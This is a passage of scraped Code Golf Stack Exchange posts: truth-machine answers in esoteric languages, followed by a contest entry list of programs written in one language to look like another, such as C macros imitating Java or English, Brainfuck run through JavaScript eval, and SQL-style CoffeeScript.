execution\n```\n[Answer]\n## APL, 6 bytes\n```\n→⎕←⍣⍲⎕\n```\nExplanation:\n```\n ⎕ Read the input, then\n ⎕← write it out\n ⍣ repeatedly\n ⍲ until NAND of it with itself becomes true.\n→ Branch to zero to avoid printing the result again.\n```\n[Answer]\n## [Seriously](https://github.com/Mego/Seriously/tree/v1), ~~4~~ 3 bytes\n[Crossed-out 4 is still 4 :(](https://codegolf.stackexchange.com/questions/63755/rotate-the-anti-diagonals#comment153855_63756)\n```\n,W■\n```\n`,` reads a value from STDIN. `W` starts a loop that runs while the value on top of the stack is truthy, with the body `■`. `■` prints the top stack element without popping. The loop is implicitly closed at EOF.\nOn input of `0`, the loop never executes (since `0` is falsey), and the program ends at EOF, automatically popping and printing every value on the stack. On input of `1` (or any value that is not `0`, `\"\"`, or `[]`), the loop runs infinitely.\nIn [Actually](https://github.com/Mego/Seriously), the leading `,` is not needed (thanks to implicit input), bringing the score down to 2 bytes.\n[Answer]\n# GNU sed, 10\n```\n:;/1/{p;b}\n```\n### Explanation\n* `:` define an unnamed label\n* `/1/` If input matches the regex `1`, then\n* `p` print the pattern space (i.e. 1)\n* `b` and jump back to the unnamed label (forever)\n* If the input was not 1 (i.e. 0), then the pattern space is printed unmodified and the program ends.\n[Answer]\n## [Brian & Chuck](https://github.com/mbuettner/brian-chuck), 21 bytes\n```\n,}<-{-?_{+?\n_>+{?<.p\n```\nHere, `` should be replaced with the corresponding control character (0x01).\n### Explanation\nThe basic idea is to subtract the character code of the input (48 or 49) from the `p` at the end of Chuck, which will either give a `?` (which is a valid command) or a `@` which is a no-op.\n`,` reads the input character into Chuck's first cell (marked with `_`). We want to decrement this value down to `0` in a loop, while making some other changes:\n`}<` moves to the `p` and `-` decrements it. Then `{` moves back to the input cell `-` decrements that as well. As long as this isn't zero yet, `?` gives control to Chuck. Now `>` moves Brian's tape head one cell to the right (which is initialised to `1`) and `+` increments that. Then we reset the loop with `{?`.\nBy the time the first cell on Chuck hits `0`, the `` cell will have been incremented to the character we've read from STDIN and `p` will be `?` for input `1` or `@` for input `0`.\nNow `?` doesn't switch control any more. The `0` or `1` after it is a no-op, as is the null-byte (represented by `_`). `{` moves back to Chuck's first cell and `+` increments to ensure that it's positive, such that `?` hands control over to Chuck.\nThis time `>+` increments the cell after the end of Brian's initial tape. That cell is garbage but we'll never use it. Now `{` doesn't scan all the way to the front of Brian's tape, but only to the `_`. Hence `?` is a no-op because the current cell is zero. Then `<.` moves one to the left (the copy of the input character) and prints it.\nFinally, we encounter the `?` or `@`. If the input was `0` and this cell is `@` it's a no-op and the program terminates. But if the input was `1` and this cell is `?` we hand over to Brian whose `{+?` will reset the loop on Chuck, and now we're printing `1`s forever (until the integer in the cell at the end of Brian's tape doesn't fit into memory any more, I suppose...).\n### Bonus\nSp3000 and I have been golfing away at this for several days. We started out around 40 bytes and arrived at two completely different, but tied solutions at 26 bytes. Only when I started to write up the explanation for mine, did the 21-byte solution above occur to me. Many thanks to Sp for throwing ideas around and teaching each other some golfing tricks in B&C. :)\nThis is his 26 byte solution:\n```\n>,----{?{>1?0\n#I-<-?_0+?_1{.?\n```\nWhere `®` is a byte with value 174 (e.g. just save the file as ISO 8859-1).\nAt the core mine works similarly to the 21-byte solution, in that `®` becomes `}` for input `1` and `~` (no-op) for input `0`, but the execution is much less elegant.\nHis solution is quite neat in that the source code is ASCII-only and that it doesn't require a loop to process the input. Instead, `----` turns `1` into `-` and `0` into `,` (a no-op for Chuck). That `-` will then change the first `?` on Brian's tape into a `>`, thereby creating different control flow for the `1`-case. \n[Answer]\n# Thue, 34 bytes\n```\n1::=12\n2::=~1\n0::=~0\n@::=:::\n::=\n@\n```\n**Explanation:**\n`1::=12` Instances of the substring \"1\" can become \"12\"\n`2::=~1` Instances of the substring \"2\" can be removed, printing \"1\"\n`0::=~0` Instances of the substring \"0\" can be removed, printing \"0\"\n`@::=:::` Instances of the substring \"@\" can be replaced with strings from the input\n`::=` End list of substitution rules\n`@` The initial string is \"@\"\n[Answer]\n# Arnold C, 134 bytes\n```\nIT'S SHOWTIME\nHEY CHRISTMAS TREE i\nYOU SET US UP 0 //or 1\nSTICK AROUND i\nTALK TO THE HAND 1\nCHILL\nTALK TO THE HAND 0\nYOU HAVE BEEN TERMINATED\n```\nWhile this isn't as entertaining as the other ArnoldC [answer](https://codegolf.stackexchange.com/a/62777/39328), it's golfed. For example, indentation is unnecessary, and so are the macros `@NO PROBLEMO` and `@I LIED`.\nTested with [this version of the language](http://mapmeld.github.io/ArnoldC/), which cannot take input.\n[Answer]\n# [Cubix](https://github.com/ETHproductions/cubix), 5 ~~6~~ bytes\nCubix is @ETHproductions new 2 dimensional language where the commands are wrapped around the faces of a cube. [Online interpreter](https://ethproductions.github.io/cubix)\nThanks to @ETHproductions for the saving.\n```\n!I\\@O\n```\nThis ends up expanded out to the cube\n```\n !\nI \\ @ O\n .\n```\nThis starts with the `I` command. Input an integer onto the stack. \n`\\`, redirects the instruction pointer down over the no op. \n`O`, outputs the numeric value of top of stack. \n`!`, skip the next command (`@`) if top of stack true. This will jump the `\\` redirect if 1 \n`\\`, redirects the instruction pointer to the `@` exit program. \nThis takes advantage of the fact the stack isn't popped by the `O ? !` commands.\n[Answer]\n## [Foo](https://esolangs.org/wiki/Foo), 6 bytes\n```\n&1($i)\n```\nInput is hardcoded as the second character, since Foo doesn't have STDIN input. Don't we agree that Foo is awesome now? :)\n### Explanation\n```\n&1 Set current cell to 1\n ( ) Do-while loop (or, at least according to the interpreter)\n $i Print current cell as int\n```\n[Answer]\n# Perl, ~~18 + 1 = 19~~ 13 + 1 = 14 bytes\n```\nprint while$_\n```\nRun like this:\n```\necho -n NUM | perl -p truth.pl\n```\nThanks to ThisSuitIsBlackNot (who is way better at Perl golfing than me) for golfing off five bytes.\n]"}}},{"rowIdx":44,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers.\n \n \n---\n**Want to improve this question?** Update the question so it focuses on one problem only by [editing this post](/posts/24623/edit).\nClosed 7 years ago.\n[Improve this question](/posts/24623/edit) \n> \n> The determined Real Programmer can write Fortran programs in any language.\n> \n> \n> \n*from Real Programmers Don't Use Pascal*\nYour task is to write program in your programming language of choice, but you are allowed to use only another language. That is, throw away all coding conventions from one language and replace them with coding conventions from other language. The more the better. Make your program look as if it was written in another language.\nFor example, Python fan who hates Java could write following Python program in Java:\n```\nvoid my_function() {\n int i = 9 ;\n while(i>0) {\n System.out.println(\"Hello!\") ;\n i = i - 1 ;}}\n```\nPascal enthusiast forced to use C could write this:\n```\n#define begin {\n#define end }\n#define then\n#define writeln(str) puts(str)\nif (i == 10) then\nbegin\n writeln(\"I hate C\");\nend\n```\nYou have to write complete program. The program desn't have to do anything useful.\nGood Luck. This is a popularity contest so the code with the most votes wins!\n \n[Answer]\n# C in C++\n```\n#include \nint main(int argc, char** argv)\n{\n printf(\"Hello world!\\n\");\n return 0;\n}\n```\n[Answer]\n# x86 assembly in GNU C\nNo, I didn't just use the `asm` keyword, since the question established this is for *real* programmers... this should run fine on ARM.\n(Just to prove the point, I didn't \"write\" the assembly at all - it's the output produced by ~~GCC~~ Clang (503.0.38) for the commented code at the top, blindly translated into macros.)\nThis only works in 32-bit mode. That's fine since *real* programmers code to the word size anyway.\n```\n#include \n#include \n/*\nint fac(int x) {\n if (x < 1) return 1; else return x * fac(x - 1);\n}\nint fib(int x) {\n if (x < 2) return x; else return fib(x - 1) + fib(x - 2);\n}\nint main(void) {\n int a = fib(10), b = fac(10);\n printf(\"%d %d\\n\", a, b);\n return 0;\n}\n*/\ntypedef union REG {\n intptr_t i; int _i; void * v; union REG * r;\n} REG;\n#define LPAREN (\n#define RPAREN )\n#define MACRO(N) ); N##_MACRO LPAREN\n#define push MACRO(PUSH)\n#define pop MACRO(POP)\n#define mov MACRO(MOV)\n#define sub MACRO(SUB)\n#define add MACRO(ADD)\n#define imul MACRO(IMUL)\n#define cmp MACRO(CMP)\n#define jge MACRO(JGE)\n#define jmp MACRO(JMP)\n#define call MACRO(CALL)\n#define ret MACRO(RET) _\n#define label MACRO(LABEL)\n#define NO_OP(X) \n#define PUSH_MACRO(VAL) *(esp -= 4) = (REG)(VAL)\n#define POP_MACRO(DST) (DST) = (typeof(DST))(esp->i); esp += 4\n#define MOV_MACRO(VAL, DST) (DST) = (typeof(DST))((REG)VAL).i;\n#define SUB_MACRO(VAL, DST) CMP_MACRO(VAL, DST); \\\n (DST) = (typeof(DST))(((REG)DST).i - ((REG)VAL).i)\n#define ADD_MACRO(VAL, DST) DST = (typeof(DST))(((REG)DST).i + ((REG)VAL).i); \\\n ZF = ((REG)DST).i == 0; OF = 0; SF = ((REG)DST).i < 0\n#define IMUL_MACRO(VAL, DST) DST = (typeof(DST))(((REG)DST).i * ((REG)VAL).i); \\\n ZF = ((REG)DST).i == 0; OF = 0; SF = ((REG)DST).i < 0\n#define CMP_MACRO(L, R) CMP_MACRO_(((REG)L).i, ((REG)R).i)\n#define CMP_MACRO_(L, R) (OF = 0, ZF = L == R, SF = (R - L) < 0)\n#define JGE_MACRO(TGT) if (SF == OF) { goto TGT; } else {}\n#define JMP_MACRO(TGT) goto TGT;\n#define CALL_MACRO(PROC) CALL_MACRO_(PROC, __COUNTER__)\n#define CALL_MACRO_(PROC, CTR) PUSH_MACRO(CTR - STARTIP); \\\n goto PROC; case CTR - STARTIP:\n#define RET_MACRO(_) eip = esp->i; esp += 4; if (eip) { continue; } else { goto *finalreturn; }\n#define LABEL_MACRO(NAME) NAME\n#define MY_ASM(X) do { const int STARTIP = __COUNTER__; \\\n switch(eip) { case 0: MY_ASM_1 X } } while (1);\n#define MY_ASM_1(X) MY_ASM_2(NO_OP LPAREN 0 X RPAREN;)\n#define MY_ASM_2(X) X\n#define CAT(L, R) _CAT(L, R)\n#define _CAT(L, R) L##R\n#define callASM(F) callASM_(F, CAT(_TMP_, __COUNTER__))\n#define callASM_(F, LABEL) (({ PUSH_MACRO(0); stackbase = esp; finalreturn = &&LABEL; \\\n goto F; LABEL:; }), (intptr_t)eax)\nconst int STACKSIZE = 4096;\nREG callstack[STACKSIZE], * stackbase;\nREG * eax, * ecx, * edx, * ebx, * esi, * edi, * esp, * ebp;\nint SF, ZF, OF, eip; void * finalreturn;\nint main(void) {\n eax = ecx = edx = ebx = esi = edi = esp = ebp = &callstack[STACKSIZE - 1];\n eip = 0;\n finalreturn = &&TOP; TOP:\n PUSH_MACRO(10);\n int a = callASM(_fac);\n PUSH_MACRO(10);\n int b = callASM(_fib);\n printf(\"%d %d\\n\", a, b);\n return 0;\n MY_ASM((\n label _fac: // @fac\n push ebp\n mov esp, ebp\n sub 24, esp\n mov 8[ebp], eax\n mov eax, (-8)[ebp]\n cmp 1, (-8)[ebp]\n jge LBB0_2\n mov 1, (-4)[ebp]\n jmp LBB0_3\n label LBB0_2:\n mov (-8)[ebp], eax\n mov (-8)[ebp], ecx\n sub 1, ecx\n mov ecx, *esp\n mov eax, (-12)[ebp] // 4-byte Spill\n call _fac\n mov (-12)[ebp], ecx // 4-byte Reload\n imul eax, ecx\n mov ecx, (-4)[ebp]\n label LBB0_3:\n mov (-4)[ebp], eax\n add 24, esp\n pop ebp\n ret\n label _fib: // @fib\n push ebp\n mov esp, ebp\n sub 24, esp\n mov 8[ebp], eax\n mov eax, (-8)[ebp]\n cmp 2, (-8)[ebp]\n jge LBB1_2\n mov (-8)[ebp], eax\n mov eax, (-4)[ebp]\n jmp LBB1_3\n label LBB1_2:\n mov (-8)[ebp], eax\n sub 1, eax\n mov eax, *esp\n call _fib\n mov (-8)[ebp], ecx\n sub 2, ecx\n mov ecx, *esp\n mov eax, (-12)[ebp] // 4-byte Spill\n call _fib\n mov (-12)[ebp], ecx // 4-byte Reload\n add eax, ecx\n mov ecx, (-4)[ebp]\n label LBB1_3:\n mov (-4)[ebp], eax\n add 24, esp\n pop ebp\n ret\n ))\n}\n```\nJust look at all those casts. Casts mean I'm a *realer* programmer than the compiler, right?\n[Answer]\n# English in C\n```\n#include \n#define This\n#define program int main() {\n#define aims\n#define to\n#define output printf(\n#define some\n#define example\n#define text(a) #a\n#define the\n#define screen \"\\n\");\n#define it \n#define also\n#define will\n#define calculate ;int a = \n#define result\n#define of\n#define and\n#define print ; printf(\"%d\\n\", a);\n#define seriously return 0; }\nThis program aims to output some example text (Hello) to the screen;\nit also will calculate the result of 3 + 4 and print the result; seriously\n```\nAny ideas to eliminate the `;`?\n[Answer]\nI think the brilliant [Lennart Augustsson](http://augustss.blogspot.jp/) has already won this twice.\nFirst, here's an example of his \"weekend hack\" implementation of BASIC as a Haskell Monadic DSL, from 2009:\n```\nimport BASIC\nmain = runBASIC' $ do\n 10 LET I =: 1\n 20 LET S =: 0\n 30 LET S =: S + 1/I\n 40 LET I =: I + 1\n 50 IF I <> 100000000 THEN 30\n 60 PRINT \"Almost infinity is\"\n 70 PRINT S\n 80 END\n```\nIt works by overloading the number type. The line numbers are really functions that accept arguments. The rest of the line is arguments to the function. The function returns a representation of the Abstract Syntax Tree for the BASIC interpreter to go to work on.\nI also recommend you check out Augustsson's entry to the 2006 International Obfuscated C Contest, in which he managed to squeeze into 4k:\n* A bytecode interpreter, written in a subset of C (which he calls Obfuscated C).\n* An *Obfuscated C -> bytecode* compiler, written in bytecode.\nThey can share the same file because the bytecode is placed inside C comments.\nIt's a few years since I followed Augustsson's work, so there may well be other brilliant things he's come up with since then....\n[Answer]\n## Brainfuck in JavaScript\nJavascript is a difficult language ! Let us use Brainfuck, a more understandable language :o)\n```\neval(\n//write your easy code below\n\"++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.\"\n//end of easy code\n.replace(/\\]/g,'}')\n.replace(/\\[/g,'while(a[i]){')\n.replace(/\\+/g,'a[i]++;')\n.replace(/-/g,'a[i]--;')\n.replace(/>/g,'i++;')\n.replace(/,+>,+>,+<<<.>.>.>.` and type `golf` in the dialog. It will ouputs the next characters in ASCII table : `hpmg` \n**EDIT** : Short explanation for people who don't know brainfuck. \nImagine an infinite array of integers `a` initialized to zero everywhere, a pointer on one element of this array `i`, and a user input `u`. \nBrainfuck is really easy to learn but difficult to write : \n* `+` increments to current value : `a[i]++`\n* `-` decrements it : `a[i]--`\n* `>` makes to pointer points the next element : `i++`\n* `<` the previous : `i--`\n* `[` and `]` define a loop which breaks when current value is zero : `while (a[i]) { ... }`\n* `.` print the current element : `String.fromCharCode(a[i])`\n* `,` sets the current element with user input : `u.charCodeAt(...)`\n[Answer]\n# PHP and Javascript\nThis is a polyglot:\nYou can run this code in both languages:\n```\nif(\"\\0\"=='\\0')\n{\n function printf(){\n $b=Array();\n $a=$b['slice']['call'](arguments);\n $a=$a['join']('');\n console.log($a);\n return $a.length;\n };\n function strtoupper($s){return $s['toUpperCase']();}\n function count($a){return $a['length'];}\n}\nprintf('this is cool!');\n$c=Array('a','b','c','d');\nfor($i=0,$l=count($c);$i<$l;++$i)printf(\"\\n\",strtoupper($c[$i]));\n```\nThe trick here is that Javascript uses escape sequences in strings starting with `'` and `\"`. \nOn the other hand, PHP only uses escape sequences in strings starting with `\"` and `<<<`.\nThen, we declare the function `printf`, which is similar to `print` but outputs a formated string in PHP.\nPHP **requires** that vars start with `$`, while Javascript simply allows.\n[Answer]\n**Brainfuck in JS**\n```\n[][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[\n!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[\n+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(\n![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!\n![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+\n[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]\n]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[\n]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!!\n[]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[\n+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!\n![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+\n[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[\n[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!!\n[]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]\n+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+\n[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]\n]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[\n+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[\n+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[]\n)[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]\n]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+\n[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])()\n```\n[Answer]\nThis is [one of the 2005 IOCCC winners](http://www.ioccc.org/2005/chia/chia.c), a C program that, except by that bunch of defines, looks like a java program:\n```\n/*\n * Sun's Java is often touted as being \"portable\", even though my code won't\n * suddenly become uber-portable if it's in Java. Truth is, Java's one of\n * the most ugly, slow, and straitjacketed languages ever. It's popular\n * mainly because people hear the word \"portable\" and go \"ewww\".\n *\n * This program, then, is dedicated to bringing about the death of Java. We\n * good coders have been oppressed for too long by the lame language\n * decisions of pointy-haired bosses and academics who should know better. \n * It's time we stand up against this junk, and bring back the fun in\n * programming! Viva La Revolution!\n */\n#define aSet c\n#define BufferedReader(x)1\n#define byte Y[I][_^1]?do(:):_&1?do(.):do(`):8;++y;}\n#define class int N=0,_,O=328,l=192,y=4,Y[80][64]={0},I;struct\n#define do(c)a(#c \"\\b\")\n#define err c,c\n#define getAllStrings(x));q()\n#define if(x)b(#x)\n#define IOException\n#define line c\n#define main(a)b(char*x){write(1,\"\\033[\",2),null}main()\n#define new\n#define null a(x);}a(char*x){write(1,x,strlen(x));try;try;try;try;\n#define out c,c\n#define println(x)c\n#define private int d(int\n#define public short c;}c;typedef int BufferedReader;char*F=\"JF>:>FB;;BII\";\n#define return {return\n#define static f(x){N=(N+x)%6,y--?f(0),f(1),f(4),f(1):++Y[(I=O+N[F]-66)\n#define String\n#define System c\n#define this if(D):1,O=I,I/=16,l<_/32?if(B):l>_/32?if(A):2,l=_,_/=16,byte\n#define throws\n#define toArray(x)c\n#define try for(;--c.c;)\n#define void /16][(_=l+N[6+F]-66)/16]?O/=16,l/=32,OI/16?this\n#define while(k)if(2J),if(7;21H),f(0),f(4),f(4),if(H),/*\nimport java.io.*;\nimport java.util.*;\n/**\n * A lame Java program.\n * @author J. Random Worker\n */\nclass LameJavaApp\n{\n /** The infamous Long-Winded Signature From Hell. */\n public static void main(String[] args)\n throws IOException\n {\n /* Don't get me started on this. */\n BufferedReader reader =\n new BufferedReader(new FileReader(args[0]));\n /* What, this long incantation just to print a string? */\n System.err.println(\"Hello world!\");\n /* At least this is sane. */\n String line;\n while ((line = reader.readLine()) != null)\n System.out.println(line.length());\n }\n /**\n * Method with a needlessly long name.\n * @param aSet a set (!)\n */\n private String[] getAllStrings(Set aSet)\n {\n /*\n * This dance is needed even in J2SE 5, which has type\n * templates. It was worse before that.\n */\n return aSet.toArray(new String[0]);\n }\n}\n```\n[Answer]\n# C++ in C\nOK, so you are a C++ programmer, but are forced to use C? No problem, you just have to write some supplementary headers missing in C. For example, here's a valid Hello World program in C:\nIn the supplementary header file `iostream`, write:\n```\n#include \n#define using volatile int\n#define namespace message\n#define std = 0\n#define message(x) printf(\"%s\\n\",x)\n#define cout 0\n#define endl 0\n```\nIn file `string`, write\n```\n#define string\n```\nIn file `helloworld.c` (your actual C code), write\n```\n#include \n#include \nusing namespace std;\nint main()\n{\n string message(\"Hello world\");\n cout << message << endl;\n return 0;\n}\n```\nAnd when compiling `helloworld.c` with a C compiler, instruct the compiler to also look for `<...>` header files wherever you stored the files `iostream` and `string`, for example, if you are compiling with gcc and put the files `iostream` and `string` in the current directory, compile with\n```\ngcc helloworld.c -o helloworld -I.\n```\nNote: The `volatile` in header `iostream` is there to enable a warning-free compile even at maximum warning level (a read from a volatile variable is considered to have an effect).\n[Answer]\n## CQL - Caffeinated Query Language\n(or \"SQL on Caffeine\")\nThis may have been somewhat overly ambitious. Here is an attempt to write SQL(ish) declarative code in **CoffeeScript**. This requires the [ECMAScript 6 Proxy feature](http://wiki.ecmascript.org/doku.php?id=harmony%3adirect_proxies). You can test it in node with `--harmony-proxies`.\nLet's set up a template for defining proxies. (Taken from [Benvie's comment on this issue](https://github.com/joyent/node/issues/4138))\n```\nforward = (->\n _slice = Array.prototype.slice\n _bind = Function.prototype.bind\n _apply = Function.prototype.apply\n _hasOwn = Object.prototype.hasOwnProperty\n Forwarder = (target) ->\n @target = target\n this\n Forwarder.prototype =\n getOwnPropertyNames: -> Object.getOwnPropertyNames(@target)\n keys: -> Object.keys(@target)\n enumerate: ->\n i = 0\n keys = []\n for value of @target\n keys[i++] = value\n keys\n getPropertyDescriptor: (key) ->\n o = @target;\n while o\n desc = Object.getOwnPropertyDescriptor o, key\n if desc\n desc.configurable = true;\n return desc;\n o = Object.getPrototypeOf o\n getOwnPropertyDescriptor: (key) ->\n desc = Object.getOwnPropertyDescriptor @target, key\n if desc\n desc.configurable = true\n desc\n defineProperty: (key, desc) -> Object.defineProperty @target, key, desc\n get: (receiver, key) -> @target[key]\n set: (receiver, key, value) ->\n @target[key] = value;\n true\n has: (key) -> key of @target\n hasOwn: (key) -> _hasOwn.call @target, key\n delete: (key) ->\n delete @target[key]\n true\n apply: (receiver, args) -> _apply.call @target, receiver, args\n construct: (args) -> new (_bind.apply @target, [null].concat args);\n forward = (target, overrides) ->\n handler = new Forwarder target;\n for k of Object overrides\n handler[k] = overrides[k]\n if typeof target is 'function'\n return Proxy.createFunction handler,\n -> handler.apply this, _slice.call arguments,\n -> handler.construct _slice.call arguments\n else\n return Proxy.create handler, Object.getPrototypeOf Object target\n forward\n)();\n```\nNow define a proxy object and some suspicious global variables and functions:\n```\nsql = forward {\n tables: {}\n finalize: ->\n if typeof @activeRows isnt 'function'\n @result = []\n for row in @activeRows\n @result.push (val for val, i in row when @activeTable.columns[i] in @activeColumns)\n delete @activeRows\n delete @activeColumns\n delete @activeTable\n run: (q) ->\n q.call(this)\n @finalize()\n result = @result\n delete @result\n if typeof result isnt 'function' then console.log result\n return result\n}, {\n get: (o,name) ->\n if name of @target\n return @target[name];\n (args...) -> {\n name\n args\n }\n}\nint = Number\nvarchar = (l) -> String\nTABLE = (x) -> x\nINTO = (x) -> x\nCREATE = (tableData) ->\n name = tableData.name\n table =\n columns: []\n column = tableData.args[0]\n table[column.name] = []\n table.columns.push(column.name)\n while column = column.args[1]\n table[column.name] = []\n table.columns.push(column.name)\n sql.tables[name] = table\n sql.result = \"Created table '#{name}'\"\nINSERT = (table) -> sql.activeTable = sql.tables[table().name]\nVALUES = (rows...) ->\n for row in rows\n for val, i in row\n column = sql.activeTable.columns[i]\n sql.activeTable[column].push val\n sql.result = \"Inserted #{rows.length} rows\"\nFROM = (table) ->\n sql.activeTable = sql.tables[table().name]\nSELECT = (columns...) ->\n sql.activeColumns = []\n for col in columns\n if typeof col is 'function'\n col = col()\n sql.activeColumns.push col.name\n sql.activeRows = []\n for val in sql.activeTable[sql.activeTable.columns[0]]\n sql.activeRows.push []\n for col in sql.activeTable.columns\n for val, i in sql.activeTable[col]\n sql.activeRows[i].push val\nIN = (list) -> { op: 'in', list }\nWHERE = (column) ->\n i = sql.activeTable.columns.indexOf(column.name)\n if column.args[0].op is 'in'\n list = column.args[0].list\n sql.activeRows = (row for row in sql.activeRows when row[i] in list)\n else\n console.log 'Not supported!'\nASC = 'asc'\nDESC = 'desc'\nBY = (x) -> x\nORDER = (column) ->\n i = sql.activeTable.columns.indexOf(column.name)\n order = if column.args[0] is sql.ASC then 1 else -1\n sql.activeRows.sort (a,b) ->\n if a[i] < b[i]\n return -order\n else if a[i] > b[i]\n return order\n else\n return 0\n```\nWell that was quite a lot of setup! But now we can do the following (input/output in a console style):\n```\n> sql.run ->\n CREATE TABLE @books(\n @title varchar(255),\n @author varchar(255),\n @year int\n );\nCreate Table 'books'\n> sql.run ->\n INSERT INTO @books\n VALUES ['The C++ Programming Language', 'Bjarne Stroustrup', 1985],\n ['Effective C++', 'Scott Meyers', 1992],\n ['Exceptional C++', 'Herb Sutter', 2000],\n ['Effective STL', 'Scott Meyers', 2001];\nInserted 4 rows\n> sql.run ->\n SELECT @title, @year FROM @books\n WHERE @author IN ['Bjarne Stroustrup', 'Scott Meyers']\n ORDER BY @year DESC;\n[ [ 'Effective STL', 2001 ],\n [ 'Effective C++', 1992 ],\n [ 'The C++ Programming Language', 1985 ] ]\n```\nIt's not an actual polyglot, but that's not really the point. I know that `@` is used for variables in SQL, but I need all the `@`s for column and table names because I haven't found a way to proxy the global object (and I wouldn't be surprised if it's really not possible - and for a good reason).\nI also changed some parentheses into brackets (in particular after `VALUES` and `IN`). Unfortunately, what I couldn't figure out at all is a way to allow normal conditionals like `year > 2000`, because they would evaluate to a boolean right away.\nStill this looks a lot like SQL and is definitely more declarative than imperative/functional/object-oriented so it should qualify nicely for the question. I'm actually thinking if I polished the code a bit and supported a few more features, this could be a useful CoffeeScript module.\nAnyway, this was fun! :)\nFor those not too familiar with CoffeeScript, the SQL queries compile to the following JavaScript:\n```\nsql.run(function() {\n return CREATE(\n TABLE(\n this.books(\n this.title(varchar(255), \n this.author(varchar(255), \n this.year(int)))\n )\n )\n );\n});\nsql.run(function() {\n INSERT(INTO(this.books));\n return VALUES([...], ['Effective C++', 'Scott Meyers', 1992], [...], [...]);\n});\nsql.run(function() {\n SELECT(this.title, this.year(FROM(this.books)));\n WHERE(this.author(IN(['Bjarne Stroustrup', 'Scott Meyers'])));\n return ORDER(BY(this.year(thisESC)));\n});\n```\n[Answer]\n# Visual Basic 6 (in JavaScript)\n```\n'; Main sub-routine \\\n'; function Main() { ' \\\nSub Main() '\n ' Do not throw any errors... \\\n On Error Resume Next '; MsgBox = alert\n ' Show a message box... \\\n MsgBox(1 / 0) '\n ' Show errors again... \\\n On Error GoTo 0 '\n ' Show another message box... '\n MsgBox(\"Hello\")\n ' ' } ' \\\nEnd Sub '\nMain()\n```\nIt also works in VBScript.\n[Answer]\n## F# in C++\nRather unimaginative and nasty abuse of the preprocessor. I thought it'd be fun to alter C++ to look like a completely dissimilar language instead of using a few aliases to make it look like Java or PHP. I'm not really expecting this to garner a ton of upvotes, it's a just-for-fun entry.\n```\n#define let int\n#define args ( int __, char* args[] ) { int ___ \n#define println printf(\n#define exit \"\\n\" ); return 0; }\n#include \nlet main args =\n println \"F# is better than C++\"\n exit\n```\nTry it [here](http://ideone.com/fHNTvX).\nSadly writing something to STDOUT is about all it can do, although I'm sure if someone threw enough witchcraft at it they could make it do more.\n[Answer]\n# Python and... nobody will guess (edit: dc)\nHere is some valid python code, but actually the program is written in a very different language:\n```\n# Initialize systems 1 and 2\n# frame 1, divergency speed and divergency latency\nf1ds, f1dl, z1 = [2,2,0]\n# frame 2, divergency speed and divergency latency\nf2ds, f2dl, z2 = [4,4,1]\n# Set the most relevant value of ax (detected by low-energy collision)\nax = 42.424242\n# Initialize list of successive energy states\ns = [17.98167, 21.1621, 34.1217218, 57.917182]\n# Most common value for nz parameter\n# TODO: check if value from the article of A. Einstein is better\nnz = 10\nif z2>nz or ax in s:\n ax += 6\n f1ds = 8\n f2ds = 16\n z1 = 4\n z2 = 9\nf1dl += z1\nf2dl += z2\n# main loop, iterate over all energy states\n# Warning: hit Ctrl-C if nuclear explosion occurs and adjust either z or nz\nfor k in s:\n z = nz + k\n f1dl = f1ds + f2dl * z - z1 + 3.14\n f2dl = f2ds + f1dl * z - z2 + 10\n if k > 10 or z-2 in s:\n nz += 0xac # hexadecimal coefficient found in famous article by E. Fermi\n```\nThe code runs in both languages with no error.\nThe combination is very crazy; I would be happy to wait one day or two before telling which is the other language; please leave comments for guessing.\n**edit:** The language was the stack-based language from 